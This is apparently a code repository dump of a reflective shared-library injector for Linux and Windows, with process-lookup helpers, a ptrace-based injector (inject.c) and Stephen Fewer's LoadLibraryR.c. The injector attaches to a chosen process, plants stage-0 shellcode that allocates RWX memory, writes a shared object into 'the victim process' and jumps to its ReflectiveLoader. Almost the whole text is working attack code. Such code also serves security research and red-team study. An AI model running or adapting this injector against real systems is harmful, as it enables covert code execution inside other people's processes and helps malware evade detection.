dwHeapSegmentCommit; 161 | DWORD dwHeapDeCommitTotalFreeThreshold; 162 | DWORD dwHeapDeCommitFreeBlockThreshold; 163 | DWORD dwNumberOfHeaps; 164 | DWORD dwMaximumNumberOfHeaps; 165 | LPVOID lpProcessHeaps; 166 | LPVOID lpGdiSharedHandleTable; 167 | LPVOID lpProcessStarterHelper; 168 | DWORD dwGdiDCAttributeList; 169 | LPVOID lpLoaderLock; 170 | DWORD dwOSMajorVersion; 171 | DWORD dwOSMinorVersion; 172 | WORD wOSBuildNumber; 173 | WORD wOSCSDVersion; 174 | DWORD dwOSPlatformId; 175 | DWORD dwImageSubsystem; 176 | DWORD dwImageSubsystemMajorVersion; 177 | DWORD dwImageSubsystemMinorVersion; 178 | DWORD dwImageProcessAffinityMask; 179 | DWORD dwGdiHandleBuffer[34]; 180 | LPVOID lpPostProcessInitRoutine; 181 | LPVOID lpTlsExpansionBitmap; 182 | DWORD dwTlsExpansionBitmapBits[32]; 183 | DWORD dwSessionId; 184 | ULARGE_INTEGER liAppCompatFlags; 185 | ULARGE_INTEGER liAppCompatFlagsUser; 186 | LPVOID lppShimData; 187 | LPVOID lpAppCompatInfo; 188 | UNICODE_STR usCSDVersion; 189 | LPVOID lpActivationContextData; 190 | LPVOID lpProcessAssemblyStorageMap; 191 | LPVOID lpSystemDefaultActivationContextData; 192 | LPVOID lpSystemAssemblyStorageMap; 193 | DWORD dwMinimumStackCommit; 194 | } _PEB, * _PPEB; 195 | 196 | typedef struct 197 | { 198 | WORD offset:12; 199 | WORD type:4; 200 | } IMAGE_RELOC, *PIMAGE_RELOC; 201 | //===============================================================================================// 202 | #endif 203 | //===============================================================================================// 204 | -------------------------------------------------------------------------------- /linux版/inject/src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "utils.h" 9 | 10 | /* 11 | * findProcessByName() 12 | * 13 | * Given the name of a process, try to find its PID by searching through /proc 14 | * and reading /proc/[pid]/exe until we find a process whose name matches the 15 | * given process. 16 | * 17 | * args: 18 | * - char* processName: name of the process whose pid to find 19 | * 20 | * returns: 21 | * - a pid_t containing the pid of the process (or -1 if not found) 22 | * 23 | */ 24 | 25 | pid_t findProcessByName(char* processName) 26 | { 27 | if(processName == NULL) 28 | { 29 | return -1; 30 | } 31 | // struct dirent 32 | // { 33 | //   long d_ino; /* inode number 索引节点号 */ 34 | //    35 | // off_t d_off; /* offset to this dirent 在目录文件中的偏移 */ 36 | //    37 | // unsigned short d_reclen; /* length of this d_name 文件名长 */ 38 | //    39 | // unsigned char d_type; /* the type of d_name 文件类型 */ 40 | //    41 | // char d_name [NAME_MAX+1]; /* file name (null-terminated) 文件名,最长255字符 */ 42 | // } 43 | struct dirent *procDirs; 44 | 45 | DIR *directory = opendir("/proc/"); 46 | 47 | if (directory) 48 | { 49 | while ((procDirs = readdir(directory)) != NULL) 50 | { 51 | if (procDirs->d_type != DT_DIR) 52 | continue; 53 | 54 | pid_t pid = atoi(procDirs->d_name); 55 | 56 | int exePathLen = 10 + strlen(procDirs->d_name) + 1; 57 | char* exePath = malloc(exePathLen * sizeof(char)); 58 | 59 | if(exePath == NULL) 60 | { 61 | continue; 62 | } 63 | 64 | sprintf(exePath, "/proc/%s/exe", procDirs->d_name); 65 | exePath[exePathLen-1] = '\0'; 66 | 67 | char* exeBuf = malloc(PATH_MAX * sizeof(char)); 68 | if(exeBuf == NULL) 69 | { 70 | free(exePath); 71 | continue; 72 | } 73 | ssize_t len = readlink(exePath, exeBuf, PATH_MAX - 1); 74 | 75 | if(len == -1) 76 | { 77 | free(exePath); 78 | free(exeBuf); 79 | continue; 80 | } 81 | 82 | exeBuf[len] = '\0'; 83 | 84 | char* exeName = NULL; 85 | char* exeToken = strtok(exeBuf, "/"); 86 | while(exeToken) 87 | { 88 | exeName = exeToken; 89 | exeToken = strtok(NULL, "/"); 90 | } 91 | 92 | if(strcmp(exeName, processName) == 0) 93 | { 94 | free(exePath); 95 | free(exeBuf); 96 | closedir(directory); 97 | return pid; 98 | } 99 | 100 | free(exePath); 101 | free(exeBuf); 102 | } 103 | 104 | closedir(directory); 105 | } 106 | 107 | return -1; 108 | } 109 | 110 | /* 111 | * freespaceaddr() 112 | * 113 | * Search the target process' /proc/pid/maps entry and find an executable 114 | * region of memory that we can use to run code in. 115 | * 116 | * args: 117 | * - pid_t pid: pid of process to inspect 118 | * 119 | * returns: 120 | * - a long containing the address of an executable region of memory inside the 121 | * specified process' address space. 122 | * 123 | */ 124 | 125 | long freespaceaddr(pid_t pid) 126 | { 127 | FILE *fp; 128 | char filename[30]; 129 | char line[850]; 130 | long addr; 131 | char str[20]; 132 | char perms[5]; 133 | sprintf(filename, "/proc/%d/maps", pid); 134 | fp = fopen(filename, "r"); 135 | if(fp == NULL) 136 | exit(1); 137 | while(fgets(line, 850, fp) != NULL) 138 | { 139 | sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str); 140 | 141 | if(strstr(perms, "x") != NULL) 142 | { 143 | break; 144 | } 145 | } 146 | fclose(fp); 147 | return addr; 148 | } 149 | 150 | //isRWX checks if the RWX memory was allocated in target process at a specific addr 151 | int isRWX(pid_t pid, void *address) 152 | { 153 | int success = -1; 154 | FILE *fp; 155 | char filename[30]; 156 | char line[850]; 157 | long addr; 158 | char str[20]; 159 | char perms[5]; 160 | sprintf(filename, "/proc/%d/maps", pid); 161 | fp = fopen(filename, "r"); 162 | if(fp == NULL) 163 | exit(1); 164 | while(fgets(line, 850, fp) != NULL) 165 | { 166 | sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str); 167 | 168 | if(strstr(perms, "rwx") != NULL && address == addr) 169 | { 170 | success = 1; 171 | } 172 | } 173 | fclose(fp); 174 | return success; //failure = -1, success = 1 175 | } 176 | 177 | 178 | /* 179 | * getlibcaddr() 180 | * 181 | * Gets the base address of libc.so inside a process by reading /proc/pid/maps. 182 | * 183 | * args: 184 | * - pid_t pid: the pid of the process whose libc.so base address we should 185 | * find 186 | * 187 | * returns: 188 | * - a long containing the base address of libc.so inside that process 189 | * 190 | */ 191 | 192 | long getlibcaddr(pid_t pid) 193 | { 194 | FILE *fp; 195 | char filename[30]; 196 | char line[850]; 197 | long addr; 198 | char perms[5]; 199 | char* modulePath; 200 | sprintf(filename, "/proc/%d/maps", pid); 201 | fp = fopen(filename, "r"); 202 | if(fp == NULL) 203 | exit(1); 204 | while(fgets(line, 850, fp) != NULL) 205 | { 206 | sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr); 207 | if(strstr(line, "libc-") != NULL) 208 | { 209 | break; 210 | } 211 | } 212 | fclose(fp); 213 | return addr; 214 | } 215 | 216 | /* 217 | * checkloaded() 218 | * 219 | * Given a process ID and the name of a shared library, check whether that 220 | * process has loaded the shared library by reading entries in its 221 | * /proc/[pid]/maps file. 222 | * 223 | * args: 224 | * - pid_t pid: the pid of the process to check 225 | * - char* libname: the library to search /proc/[pid]/maps for 226 | * 227 | * returns: 228 | * - an int indicating whether or not the library has been loaded into the 229 | * process (1 = yes, 0 = no) 230 | * 231 | */ 232 | 233 | int checkloaded(pid_t pid, char* libname) 234 | { 235 | FILE *fp; 236 | char filename[30]; 237 | char line[850]; 238 | long addr; 239 | char perms[5]; 240 | char* modulePath; 241 | sprintf(filename, "/proc/%d/maps", pid); 242 | fp = fopen(filename, "r"); 243 | if(fp == NULL) 244 | exit(1); 245 | while(fgets(line, 850, fp) != NULL) 246 | { 247 | sscanf(line, "%lx-%*lx %*s %*s %*s %*d", &addr); 248 | if(strstr(line, libname) != NULL) 249 | { 250 | fclose(fp); 251 | return 1; 252 | } 253 | } 254 | fclose(fp); 255 | return 0; 256 | } 257 | 258 | /* 259 | * getFunctionAddress() 260 | * 261 | * Find the address of a function within our own loaded copy of libc.so. 262 | * 263 | * args: 264 | * - char* funcName: name of the function whose address we want to find 265 | * 266 | * returns: 267 | * - a long containing the address of that function 268 | * 269 | */ 270 | 271 | long getFunctionAddress(char* funcName) 272 | { 273 | void* self = dlopen("libc.so.6", RTLD_LAZY); 274 | void* funcAddr = dlsym(self, funcName); 275 | return (long)funcAddr; 276 | } 277 | 278 | /* 279 | * findRet() 280 | * 281 | * Starting at an address somewhere after the end of a function, search for the 282 | * "ret" instruction that ends it. We do this by searching for a 0xc3 byte, and 283 | * assuming that it represents that function's "ret" instruction. This should 284 | * be a safe assumption. Function addresses are word-aligned, and so there's 285 | * usually extra space at the end of a function. This space is always padded 286 | * with "nop"s, so we'll end up just searching through a series of "nop"s 287 | * before finding our "ret". In other words, it's unlikely that we'll run into 288 | * a 0xc3 byte that corresponds to anything other than an actual "ret" 289 | * instruction. 290 | * 291 | * Note that this function only applies to x86 and x86_64, and not ARM. 292 | * 293 | * args: 294 | * - void* endAddr: the ending address of the function whose final "ret" 295 | * instruction we want to find 296 | * 297 | * returns: 298 | * - an unsigned char* pointing to the address of the final "ret" instruction 299 | * of the specified function 300 | * 301 | */ 302 | 303 | unsigned char* findRet(void* endAddr) 304 | { 305 | unsigned char* retInstAddr = endAddr; 306 | while(*retInstAddr != INTEL_RET_INSTRUCTION) 307 | { 308 | retInstAddr--; 309 | } 310 | return retInstAddr; 311 | } 312 | 313 | /* 314 | * usage() 315 | * 316 | * Print program usage and exit. 317 | * 318 | * args: 319 | * - char* name: the name of the executable we're running out of 320 | * 321 | */ 322 | 323 | void usage(char* name) 324 | { 325 | printf("usage: %s [-n process-name] [-p pid] [library-to-inject]\n", name); 326 | } 327 | -------------------------------------------------------------------------------- /windows版/inject/inject.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 18 | 19 | 20 | 21 | 22 | 29 | 32 | 35 | 38 | 41 | 44 | 55 | 58 | 61 | 64 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 92 | 93 | 100 | 103 | 106 | 109 | 112 | 116 | 127 | 130 | 133 | 136 | 143 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 165 | 173 | 176 | 179 | 182 | 185 | 188 | 199 | 202 | 205 | 208 | 217 | 220 | 223 | 226 | 229 | 232 | 235 | 239 | 240 | 248 | 251 | 254 | 257 | 260 | 264 | 275 | 278 | 281 | 284 | 294 | 297 | 300 | 303 | 306 | 309 | 312 | 316 | 317 | 318 | 319 | 320 | 321 | 326 | 329 | 330 | 333 | 334 | 337 | 338 | 339 | 344 | 347 | 348 | 351 | 352 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | -------------------------------------------------------------------------------- /windows版/dll/reflective_dll.vcproj: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | 15 | 18 | 19 | 20 | 21 | 22 | 29 | 32 | 35 | 38 | 41 | 44 | 55 | 58 | 61 | 64 | 71 | 74 | 77 | 80 | 83 | 86 | 89 | 92 | 93 | 100 | 103 | 106 | 109 | 112 | 116 | 127 | 130 | 133 | 136 | 143 | 146 | 149 | 152 | 155 | 158 | 161 | 164 | 165 | 173 | 176 | 179 | 182 | 185 | 188 | 200 | 203 | 206 | 209 | 218 | 221 | 224 | 227 | 230 | 233 | 236 | 240 | 241 | 249 | 252 | 255 | 258 | 261 | 265 | 280 | 283 | 286 | 289 | 299 | 302 | 305 | 308 | 311 | 314 | 317 | 321 | 322 | 323 | 324 | 325 | 326 | 331 | 334 | 335 | 338 | 339 | 340 | 345 | 348 | 349 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | -------------------------------------------------------------------------------- /linux版/inject/src/inject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "utils.h" 15 | #include "ptrace.h" 16 | 17 | /* 18 | * Copy a file from disk into a memory buffer. WARNING Does not check size! 19 | */ 20 | __attribute__((always_inline)) inline unsigned int 21 | copy_in(int fd, void *address) 22 | { 23 | int cc; 24 | off_t offset = 0; 25 | char buf[1024]; 26 | 27 | while (0 < (cc = read(fd, buf, sizeof(buf)))) 28 | { 29 | memcpy((address + offset), buf, cc); 30 | offset += cc; 31 | } 32 | 33 | return offset; 34 | } 35 | 36 | 37 | 38 | //将共享对象映射到内存并返回指向它的指针,如果出现错误,则返回null 39 | Elf64_Ehdr* map_shared_object_into_memory(char *path) 40 | { 41 | struct stat sb; 42 | unsigned int fd; 43 | fd = open(path, O_RDONLY); 44 | if(fd == -1) 45 | { 46 | printf("[-] Could not open shared object\n"); 47 | exit(-1); 48 | } 49 | 50 | if (0 > stat(path, &sb)) 51 | { 52 | return NULL; 53 | } 54 | 55 | void *mapped = mmap(NULL, sb.st_size + 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 56 | 57 | if(mapped == -1) 58 | { 59 | return NULL; 60 | } 61 | 62 | mapped += (unsigned long)(0x1000 - ((unsigned long)mapped & 0x00000FFF)); 63 | 64 | //Copy file on disk into memory map 65 | copy_in(fd, mapped); 66 | close(fd); 67 | 68 | return (Elf64_Ehdr *)mapped; 69 | } 70 | 71 | __attribute__((always_inline)) inline void* 72 | crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset) 73 | { 74 | void *ret; 75 | register long r10 asm("r10") = flags; 76 | register long r9 asm("r9") = offset; 77 | register long r8 asm("r8") = fd; 78 | 79 | __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap), 80 | "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 81 | "cc", "memory", "rcx", "r11"); 82 | 83 | return ret; 84 | } 85 | 86 | /* 87 | * Allocate RWX memory region to copy shared object into (this is stage0 shellcode which is injected into target process) 88 | */ 89 | void* injectSharedLibrary(unsigned int size) 90 | { 91 | return crt_mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 92 | } 93 | 94 | /* 95 | * injectSharedLibrary_end() 96 | * 97 | * This function's only purpose is to be contiguous to injectSharedLibrary(), 98 | * so that we can use its address to more precisely figure out how long 99 | * injectSharedLibrary() is. 100 | * 101 | */ 102 | 103 | void injectSharedLibrary_end() 104 | { 105 | } 106 | 107 | int main(int argc, char** argv) 108 | { 109 | if(argc < 4) 110 | { 111 | usage(argv[0]); 112 | return 1; 113 | } 114 | 115 | char* command = argv[1]; 116 | char* commandArg = argv[2]; 117 | char* libname = argv[3]; 118 | //realpath是用来将参数path所指的相对路径转换成绝对路径 119 | char* libPath = realpath(libname, NULL); 120 | 121 | Elf64_Ehdr *so; 122 | char* processName = NULL; 123 | pid_t target = 0; 124 | 125 | struct user_regs_struct oldregs, regs; 126 | 127 | if(!libPath) 128 | { 129 | fprintf(stderr, "can't find file \"%s\"\n", libname); 130 | return 1; 131 | } 132 | //commandArg为名称的时候 133 | if(!strcmp(command, "-n")) 134 | { 135 | processName = commandArg; 136 | //通过进程名称找到它的pid 137 | target = findProcessByName(processName); 138 | if(target == -1) 139 | { 140 | fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName); 141 | return 1; 142 | } 143 | 144 | printf("[i] targeting process \"%s\" with pid %d\n", processName, target); 145 | } 146 | //commandArg为pid的时候 147 | else if(!strcmp(command, "-p")) 148 | { 149 | target = atoi(commandArg); 150 | printf("[i] targeting process with pid %d\n", target); 151 | } 152 | else 153 | { 154 | usage(argv[0]); 155 | return 1; 156 | } 157 | 158 | //Save registers and ptrace_attach to process 159 | memset(&oldregs, 0, sizeof(struct user_regs_struct)); 160 | memset(®s, 0, sizeof(struct user_regs_struct)); 161 | //附加 162 | ptrace_attach(target); 163 | //获取寄存器 164 | ptrace_getregs(target, &oldregs); 165 | memcpy(®s, &oldregs, sizeof(struct user_regs_struct)); 166 | 167 | //Load shared object into memory 168 | //映射so文件 169 | so = map_shared_object_into_memory(libPath); 170 | printf("[+] shared object mapped at %p\n", so); 171 | 172 | if(so == NULL) 173 | { 174 | printf("[-] Failed to load our shared object into memory... exiting..\n"); 175 | } 176 | 177 | //Determine if SO exports a function called ReflectiveLoader if it does not then we should exit 178 | //确定是否导出一个称为ReflectiveLoader的函数,如果它不存在,那么退出 179 | Elf64_Phdr *phdr = so->e_phoff + (void *)so; 180 | Elf64_Dyn *dynamic; 181 | Elf64_Sym *dynsym; 182 | char *dynstr; 183 | void* ReflectiveLoader = 0; 184 | 185 | //Find dynamic segment 186 | for(int i = 0; i < so->e_phnum; i++) 187 | { 188 | if(phdr[i].p_type == PT_DYNAMIC) 189 | { 190 | dynamic = phdr[i].p_offset + (void *)so; 191 | printf("[+] found dynamic segment at %p\n", dynamic); 192 | break; 193 | } 194 | } 195 | 196 | //Find .dynsym table for our SO 197 | for(int i = 0; dynamic[i].d_tag != DT_NULL; i++) 198 | { 199 | if(dynamic[i].d_tag == DT_SYMTAB) 200 | { 201 | dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so; 202 | printf("[+] dynsym found at address %p\n", dynsym); 203 | break; 204 | } 205 | } 206 | 207 | //find .dynstr table for our SO 208 | for(int i = 0; dynamic[i].d_tag != DT_NULL; i++) 209 | { 210 | if(dynamic[i].d_tag == DT_STRTAB) 211 | { 212 | dynstr = (char *)(dynamic[i].d_un.d_val) + (unsigned long)so; 213 | printf("[+] dynstr found at address %p\n", dynstr); 214 | break; 215 | } 216 | } 217 | 218 | //Find address of ReflectiveLoader symbol.. either it blows up here or the SO exports ReflectiveLoader function ;) 219 | for(int i = 0; ;i++) 220 | { 221 | if(strcmp((dynsym[i].st_name + dynstr), "ReflectiveLoader") == 0) 222 | { 223 | ReflectiveLoader = dynsym[i].st_value; 224 | printf("[+] Resolved ReflectiveLoader offset to %p\n", ReflectiveLoader); 225 | break; 226 | } 227 | } 228 | 229 | //Calculate the size of our injection shellcode 230 | struct stat sb; 231 | //就是so文件的大小 232 | stat(libPath, &sb); 233 | unsigned int size = sb.st_size; 234 | 235 | //Find some executable memory which we can use to write our shellcode into 236 | //找到一些可执行的内存,用来编写代码 237 | long addr = freespaceaddr(target) + sizeof(long); 238 | 239 | //Setup registers to correct location 240 | printf("[i] Setting target registers to appropriate values\n"); 241 | regs.rip = addr; 242 | regs.rdi = size + 0x1000; 243 | regs.rax = 9; 244 | regs.rdx = 7; 245 | regs.r8 = -1; 246 | regs.r9 = 0; 247 | regs.r10 = 34; 248 | 249 | ptrace_setregs(target, ®s); 250 | 251 | // figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate. 252 | size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary; 253 | 254 | // back up whatever data used to be at the address we want to modify. 255 | //备份要修改的地址所使用的任何数据 256 | char* backup = malloc(injectSharedLibrary_size * sizeof(char)); 257 | ptrace_read(target, addr, backup, injectSharedLibrary_size); 258 | 259 | // set up a buffer to hold the code we're going to inject into the 260 | // target process. 261 | //设置一个缓冲区来保存将要注入目标进程的代码 262 | char* newcode = malloc(injectSharedLibrary_size * sizeof(char)); 263 | memset(newcode, 0, injectSharedLibrary_size * sizeof(char)); 264 | 265 | // copy the code of injectSharedLibrary() to a buffer. 266 | memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1); 267 | 268 | // find return address of injectSharedLibrary and overwrite it with software breakpoint 269 | //找到注入共享库的返回地址并用软件断点重写 270 | intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary; 271 | newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION; 272 | 273 | // copy injectSharedLibrary()'s code to the target address 274 | printf("[i] Overwriting target memory region with shellcode\n"); 275 | ptrace_write(target, addr, newcode, injectSharedLibrary_size); 276 | 277 | //let the target run our injected code 278 | printf("[+] Transfering execution to stage 0 shellcode\n"); 279 | //run 280 | ptrace_cont(target); 281 | 282 | // at this point, the target should have run mmap 283 | //此时,目标应该已经运行MMAP 284 | struct user_regs_struct mmap_regs; 285 | memset(&mmap_regs, 0, sizeof(struct user_regs_struct)); 286 | ptrace_getregs(target, &mmap_regs); 287 | unsigned long long targetBuf = mmap_regs.rax; 288 | 289 | printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip); 290 | printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax); 291 | //判断是否为读写执行 292 | if(isRWX(target, mmap_regs.rax) == -1) 293 | { 294 | fprintf(stderr, "mmap() failed to allocate memory\n"); 295 | //还原现场断续执行 296 | restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs); 297 | free(backup); 298 | free(newcode); 299 | return -1; 300 | } 301 | 302 | printf("[+] Okay.. mmap allocation was successful!\n"); 303 | 304 | //Get page aligned address of RWX memory region in target process 305 | void *so_inject_addr = mmap_regs.rax; 306 | so_inject_addr += (unsigned long)(0x1000 - ((unsigned long)so_inject_addr & 0x00000FFF)); 307 | 308 | printf("[+] Writing our shared object into the victim process address space MUAHAHAHA!!!\n"); 309 | //ptrace_write our SO into this buffer (could use process_vm_writev to speed up transfer of data) 310 | ptrace_write(target, (unsigned long)so_inject_addr, (void *)so, size); 311 | 312 | printf("[+] Setting RIP to ReflectiveLoader function\n"); 313 | //Modify program registers to point to this memory region and call the ReflectiveLoader function 314 | regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr; 315 | ptrace_setregs(target, ®s); 316 | 317 | printf("[+] Calling ReflectiveLoader function! Let's hope this works ;D\n"); 318 | ptrace_cont(target); 319 | 320 | //Restore state and detach 321 | restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs); 322 | free(backup); 323 | free(newcode); 324 | 325 | } 326 | -------------------------------------------------------------------------------- /windows版/inject/src/LoadLibraryR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | #include 30 | //===============================================================================================// 31 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) 32 | { 33 | WORD wIndex = 0; 34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 35 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 36 | 37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 38 | 39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 40 | 41 | if( dwRva < pSectionHeader[0].PointerToRawData ) 42 | return dwRva; 43 | 44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 45 | { 46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 48 | } 49 | 50 | return 0; 51 | } 52 | //===============================================================================================// 53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 54 | { 55 | UINT_PTR uiBaseAddress = 0; 56 | UINT_PTR uiExportDir = 0; 57 | UINT_PTR uiNameArray = 0; 58 | UINT_PTR uiAddressArray = 0; 59 | UINT_PTR uiNameOrdinals = 0; 60 | DWORD dwCounter = 0; 61 | #ifdef WIN_X64 62 | DWORD dwCompiledArch = 2; 63 | #else 64 | // This will catch Win32 and WinRT. 65 | DWORD dwCompiledArch = 1; 66 | #endif 67 | 68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 69 | 70 | // get the File Offset of the modules NT Header 71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 72 | 73 | // currenlty we can only process a PE file which is the same type as the one this fuction has 74 | // been compiled as, due to various offset in the PE structures being defined at compile time. 75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 76 | { 77 | if( dwCompiledArch != 1 ) 78 | return 0; 79 | } 80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 81 | { 82 | if( dwCompiledArch != 2 ) 83 | return 0; 84 | } 85 | else 86 | { 87 | return 0; 88 | } 89 | 90 | // uiNameArray = the address of the modules export directory entry 91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 92 | 93 | // get the File Offset of the export directory 94 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 95 | 96 | // get the File Offset for the array of name pointers 97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 98 | 99 | // get the File Offset for the array of addresses 100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 101 | 102 | // get the File Offset for the array of name ordinals 103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 104 | 105 | // get a counter for the number of exported functions... 106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 107 | 108 | // loop through all the exported functions to find the ReflectiveLoader 109 | while( dwCounter-- ) 110 | { 111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 112 | 113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 114 | { 115 | // get the File Offset for the array of addresses 116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 117 | 118 | // use the functions name ordinal as an index into the array of name pointers 119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 120 | 121 | // return the File Offset to the ReflectiveLoader() functions code... 122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 123 | } 124 | // get the next exported function name 125 | uiNameArray += sizeof(DWORD); 126 | 127 | // get the next exported function name ordinal 128 | uiNameOrdinals += sizeof(WORD); 129 | } 130 | 131 | return 0; 132 | } 133 | //===============================================================================================// 134 | // Loads a DLL image from memory via its exported ReflectiveLoader function 135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) 136 | { 137 | HMODULE hResult = NULL; 138 | DWORD dwReflectiveLoaderOffset = 0; 139 | DWORD dwOldProtect1 = 0; 140 | DWORD dwOldProtect2 = 0; 141 | REFLECTIVELOADER pReflectiveLoader = NULL; 142 | DLLMAIN pDllMain = NULL; 143 | 144 | if( lpBuffer == NULL || dwLength == 0 ) 145 | return NULL; 146 | 147 | __try 148 | { 149 | // check if the library has a ReflectiveLoader... 150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 151 | if( dwReflectiveLoaderOffset != 0 ) 152 | { 153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 154 | 155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 158 | { 159 | // call the librarys ReflectiveLoader... 160 | pDllMain = (DLLMAIN)pReflectiveLoader(); 161 | if( pDllMain != NULL ) 162 | { 163 | // call the loaded librarys DllMain to get its HMODULE 164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 165 | hResult = NULL; 166 | } 167 | // revert to the previous protection 